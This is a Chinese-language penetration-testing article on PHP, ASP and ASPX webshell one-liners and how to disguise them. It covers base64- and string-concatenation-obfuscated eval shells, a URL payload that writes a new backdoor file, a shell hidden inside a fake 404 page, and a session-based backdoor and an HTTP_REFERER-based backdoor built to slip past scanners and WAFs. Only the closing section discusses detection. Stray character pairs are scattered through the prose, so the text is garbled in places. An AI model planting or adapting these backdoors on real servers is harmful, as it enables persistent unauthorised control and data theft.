0X01 簡(jiǎn)單原理
在我們進(jìn)行滲透測(cè)試的最后階段柏卤,入侵到內(nèi)網(wǎng)里冬三,無(wú)論是想要瀏覽網(wǎng)站結(jié)構(gòu),還是抓取數(shù)據(jù)庫(kù)缘缚,或者是掛個(gè)木馬什么的勾笆,到最后最常用的就是執(zhí)行一句話木馬,從客戶端輕松連接服務(wù)器桥滨。
一句話木馬的原理很簡(jiǎn)單窝爪,造型也很簡(jiǎn)單,所以造成了它理解起來(lái)容易齐媒,抵御起來(lái)也容易蒲每,于是黑白的較量變成了黑帽不斷的構(gòu)造變形的后門,去隱蔽特征喻括,而白帽則不斷的更新過(guò)濾方法邀杏,建起更高的城墻。
簡(jiǎn)單的說(shuō)一下原理唬血,對(duì)于不同的語(yǔ)言有不同的構(gòu)造方法望蜡,基本構(gòu)造是首先出現(xiàn)的是腳本開始的標(biāo)記唤崭,后邊跟著的eval 或者是execute 是核心部分,就是獲取并執(zhí)行后邊得到的內(nèi)容脖律,而后邊得到的內(nèi)容谢肾,是request或者是 $_POST 獲取的值,顯然這些內(nèi)容小泉,如果我們通過(guò)客戶端向服務(wù)器發(fā)送芦疏,那么就會(huì)讓服務(wù)器執(zhí)行我們發(fā)送的腳本,掛馬就實(shí)現(xiàn)了膏孟。最常見(jiàn)造型的木馬如下:
<!--asp一句話木馬:-->
<%execute(request("value"))%>
<!--php一句話木馬:-->
<?php @eval($_POST[value]);?>
<!--aspx一句話木馬:-->
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
0X02 變形
黑帽子的目的眯分,就是想盡辦法給目標(biāo)網(wǎng)站插入這么一段會(huì)被儲(chǔ)存起來(lái)的話,可以是一個(gè)單獨(dú)的.asp 或者是.php,.aspx 文件柒桑,或者是隱藏在某些網(wǎng)頁(yè)下弊决,其中的value 就是客戶端要發(fā)送的內(nèi)容。然后通過(guò)客戶端與服務(wù)器建立連接魁淳,發(fā)送控制腳本飘诗。
而上傳文件,則涉及到任意文件上傳的漏洞挖掘了界逛,這也是黑帽無(wú)所不用其極的展現(xiàn)猥瑣技術(shù)的地方昆稿,在此不表。這里息拜,我們先以PHP 為例溉潭,去繼續(xù)深挖那些掛馬的技巧。
在上邊的例子中少欺,php 文件喳瓣,很明顯的 eval 可以成為一個(gè)靜態(tài)特征碼,webshell掃描工具可以以此為關(guān)鍵詞赞别,掃描到這種木馬加以屏蔽畏陕。于是增加一點(diǎn)技巧的話,我們可以不出現(xiàn)eval:
@$_GET[a]($_POST[xxx]);
一樣的仿滔,傳給a值為 @base64_decode(base64編碼過(guò)后的eval)惠毁,這仍然就是最簡(jiǎn)單的一句話。
甚至崎页,我們還可以連POST 都不出現(xiàn)鞠绰。
<?php $_GET[a]($_GET[b]);?>
上邊這個(gè)例子僅僅使用了GET 函數(shù)來(lái)構(gòu)造木馬,利用方法是:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
因?yàn)槲覀兪褂玫氖荘HP 的GET 函數(shù)飒焦,所以我們的利用方法構(gòu)造在URL 里蜈膨,其中的括號(hào)部分URL 編碼,為了清晰我們把URL 編碼的內(nèi)容轉(zhuǎn)換回來(lái):
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4))};
我們看到,這里有兩個(gè)base64 的解碼丈挟,很明顯是利用了base64編碼來(lái)繞過(guò)掃描刁卜,我們進(jìn)行解碼看看:
?a=assert&b=${fputs(fopen(c.php,w),<?php @eval($_POST[c]); ?>1)};
執(zhí)行后當(dāng)前目錄生成c.php 一句話木馬,木馬內(nèi)容就是最常見(jiàn)的一句話曙咽,這已經(jīng)算是一個(gè)非常隱蔽的木馬了蛔趴,而在PHP 后門的變形之路上,遠(yuǎn)遠(yuǎn)不止這些例朱,你甚至可以自己定義一個(gè)加密解密的函數(shù)孝情,或者是利用xor, 字符串翻轉(zhuǎn),壓縮洒嗤,截?cái)嘀亟M等等方法來(lái)繞過(guò)箫荡。
0X03 更高級(jí)的變形和隱藏
下面我們?cè)倏匆恍?qiáng)悍的后門:
利用404頁(yè)面隱藏木馬
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
一般404頁(yè)面放好后,很少有人會(huì)記得定期對(duì)404頁(yè)面進(jìn)行檢查和修改渔隶,但如果在404頁(yè)面里羔挡,如果掛上了一句話后門,一方面不會(huì)被發(fā)現(xiàn)间唉,另一方面绞灼,黑帽子很容易能定位到并連接上服務(wù)器。
無(wú)特征隱藏PHP后門
<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
這句話也隱藏了eval 特征碼呈野,利用$_SEESION 變量來(lái)繞過(guò)低矮,將$_POST['code']賦值給$_SESSION['theCode'],然后eval 執(zhí)行SESSION 的內(nèi)容被冒。
還有一些則是利用HTTP 請(qǐng)求中的hTTP_REFERER 來(lái)運(yùn)行經(jīng)過(guò)base64編碼的代碼军掂,達(dá)到后門的效果,使用兩個(gè)文件:
文件1:
<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
HTTP_REFERER 是header 的一部分昨悼,告訴服務(wù)器是從哪個(gè)頁(yè)面跳轉(zhuǎn)鏈接過(guò)來(lái)的蝗锥,這里邊利用了這一字段,來(lái)做后門幔戏,另一個(gè)頁(yè)面如下:
<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要執(zhí)行的代碼
$code = <<<CODE
phpinfo();
CODE;
//進(jìn)行base64編碼
$code = base64_encode($code);
//構(gòu)造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后門url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
我們?cè)L問(wèn)文件2玛追,他會(huì)構(gòu)造一個(gè)會(huì)話税课,進(jìn)到后門url 1.php那里闲延,然后在HTTP_REFERER 的內(nèi)容也會(huì)傳遞給1.php,通過(guò)1.php 執(zhí)行韩玩。一般來(lái)說(shuō)垒玲,waf會(huì)對(duì) referer字段寬松一些,也就造成了一個(gè)繞過(guò)找颓。
來(lái)一些常見(jiàn)的后門
1合愈、
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句話
2、
$filename=$_GET['xbid'];
include ($filename);
//危險(xiǎn)的include函數(shù),直接編譯任何文件為php格式運(yùn)行
3佛析、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4益老、
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句話
5、include ($uid);
//危險(xiǎn)的include函數(shù)寸莫,直接編譯任何文件為php格式運(yùn)行捺萌,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句話
6、典型一句話
程序后門代碼
<?php eval_r($_POST[sb])?>
程序代碼
<?php @eval_r($_POST[sb])?>
//容錯(cuò)代碼
程序代碼
<?php assert($_POST[sb]);?>
//使用lanker一句話客戶端的專家模式執(zhí)行相關(guān)的php語(yǔ)句
程序代碼
<?$_POST['sa']($_POST['sb']);?>
程序代碼
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代碼
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用這個(gè)后,使用菜刀一句話客戶端在配置連接的時(shí)候在"配置"一欄輸入
程序代碼
<O>h=@eval_r($_POST1);</O>
程序代碼
<script language="php">@eval_r($_POST[sb])</script>
//繞過(guò)<?限制的一句話
0X04 攻防之機(jī)
對(duì)于攻方膘茎,利用各種各樣的繞過(guò)姿勢(shì)桃纯,都是試圖讓掃描工具無(wú)效。對(duì)于守方披坏,分析各種各樣的函數(shù)态坦,尋找有效的特征碼來(lái)防止后門。而傲然物外的大牛黑客們棒拂,更可以深入web框架內(nèi)核伞梯,挖掘出代碼缺陷,構(gòu)造出復(fù)雜的后門利用帚屉。
而作為安全審計(jì)人員壮锻,只要心細(xì),對(duì)那些通過(guò)GET涮阔,POST 獲取的超全局變量猜绣,進(jìn)行細(xì)致的追蹤,就可以有效的尋找到代碼之間的問(wèn)題敬特,構(gòu)造合適的過(guò)濾器掰邢,就可以預(yù)防絕大多數(shù)后門。
一個(gè)有效而快速的自動(dòng)化檢測(cè)方法伟阔,是通過(guò)語(yǔ)義分析的方式辣之,對(duì)GET POST 獲取的值進(jìn)行污染點(diǎn)追蹤,以確保這些用戶可控的值皱炉,不會(huì)未經(jīng)過(guò)濾就得到了執(zhí)行怀估,或是進(jìn)入數(shù)據(jù)庫(kù)中,而語(yǔ)義分析方法合搅,后邊會(huì)再進(jìn)行進(jìn)一步學(xué)習(xí)多搀。
當(dāng)然,這都不是絕對(duì)安全的灾部,正如我們前邊舉得例子康铭,正是利用了SESSION 和 SERVER 這些變量來(lái)構(gòu)造后門,而在PHP 語(yǔ)言中赌髓,超全局變量還有這么多:
- $GLOBALS
- $_SERVER
- $_REQUEST
- $_POST
- $_GET
- $_FILES
- $_ENV
- $_COOKIE
- $_SESSION
所以針對(duì)這些變量的語(yǔ)義分析从藤,也就變得更加復(fù)雜催跪,漏洞將變得不可避免。同時(shí)夷野,諸如include,preg_replace 這些PHP 中危險(xiǎn)的變量懊蒸,也是需要分外注意的。
所以悯搔,一個(gè)優(yōu)秀的程序榛鼎,是對(duì)代碼有足夠敏感性的,同時(shí)對(duì)整個(gè)架構(gòu)下的層次權(quán)限分配要足夠清晰和嚴(yán)格鳖孤,過(guò)濾規(guī)則的學(xué)習(xí)永無(wú)止境者娱,安全審查的更新也是永無(wú)止境,那些當(dāng)前看起來(lái)人畜無(wú)害的部分苏揣,隨時(shí)可能會(huì)直插心臟而淪陷黄鳍。